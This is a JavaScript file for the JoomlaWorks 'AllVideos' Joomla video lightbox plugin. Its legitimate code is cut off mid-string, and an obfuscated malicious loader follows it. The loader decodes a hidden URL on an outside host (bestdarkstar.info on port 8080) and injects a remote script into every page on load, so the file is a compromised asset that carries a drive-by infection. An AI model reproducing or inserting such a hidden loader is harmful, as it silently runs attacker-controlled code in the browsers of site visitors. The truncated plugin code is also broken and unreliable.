/*
// "AllVideos" Plugin by JoomlaWorks for Joomla! 1.5.x - Version 3.1
// Copyright (c) 2006 - 2009 JoomlaWorks Ltd. All rights reserved.
// Released under the GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
// More info at http://www.joomlaworks.gr
// Designed and developed by the JoomlaWorks team
// *** Last update: September 14th, 2009 ***
*/

/* TO DO:
	check IE support
	close button for window
*/

var AllVideosLightBox = {

	Init: function(elm){
		var AVLBWidth = elm.AVLBWidth;
		var AVLBHeight = elm.AVLBHeight;
		var isIE = navigator.userAgent.toLowerCase().indexOf('msie') != -1;
		var isIE6 = navigator.userAgent.toLowerCase().indexOf('msie 6') != -1;
		var a = document.getElementsByTagName("a");

		for(var i=0; i<a.length; i++){
			if (a[i].className == "avLightbox") {
			
				if(isIE) a[i].style.display = 'none'; // hide for all IE browsers
			
				a[i].onclick = function(){

					var getVideoSource = this.getAttribute('href',2); // stupid IE
					var getVideoID = getVideoSource.replace(/#/, "");

					var getVideoElement = document.getElementById(getVideoID);
			
					if(getVideoElement.getElementsByTagName('script')[0]){
						var getVideoTagScript = getVideoElement.getElementsByTagName('script')[0];
						//getVideoTagScript.innerHTML = '';
						getVideoElement.removeChild(getVideoTagScript);
					}
					
					// Get the object tag
					var getVideoTagObject = getVideoElement.getElementsByTagName('object')[0];
					var videoTagObjectStyleW = getVideoTagObject.style.width;
					var videoTagObjectStyleH = getVideoTagObject.style.height;
					var videoTagObjectWidth = getVideoTagObject.width;
					var videoTagObjectHeight = getVideoTagObject.height;
					getVideoTagObject.width = AVLBWidth;
					getVideoTagObject.height = AVLBHeight;
					getVideoTagObject.style.width = AVLBWidth+'px';
					getVideoTagObject.style.height = AVLBHeight+'px';
					
					// Get the embed tag if it exists
					var getVideoTagEmbed = getVideoTagObject.getElementsByTagName('embed')[0];
					if(getVideoTagEmbed){
						var videoTagEmbedWidth = getVideoTagEmbed.width;
						var videoTagEmbedHeight = getVideoTagEmbed.height;
						getVideoTagEmbed.width = AVLBWidth;
						getVideoTagEmbed.height = AVLBHeight;
					}

					var getVideoTag = getVideoElement.innerHTML;
					
					document.getElementsByTagName('html')[0].style.overflowX = 'hidden';
					
					AllVideosLightBox.ModifyVisibility('span','avPlayerBlock','hidden');
					
					if(isIE6){
						document.getElementsByTagName('html')[0].style.overflow = 'hidden';
						var IEwidth = document.documentElement.clientWidth+'px';
						var IEheight = document.documentElement.clientHeight+'px';
						var IEdimensions = ' style="width:'+IEwidth+';height:'+IEheight+';"';
					} else {
						var IEdimensions = '';
					}
					
					var videoPopupHTML = '\
					<div id="AVLBExternalContainer"'+IEdimensions+'>\
						<a id="AVLBExterna
   
var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();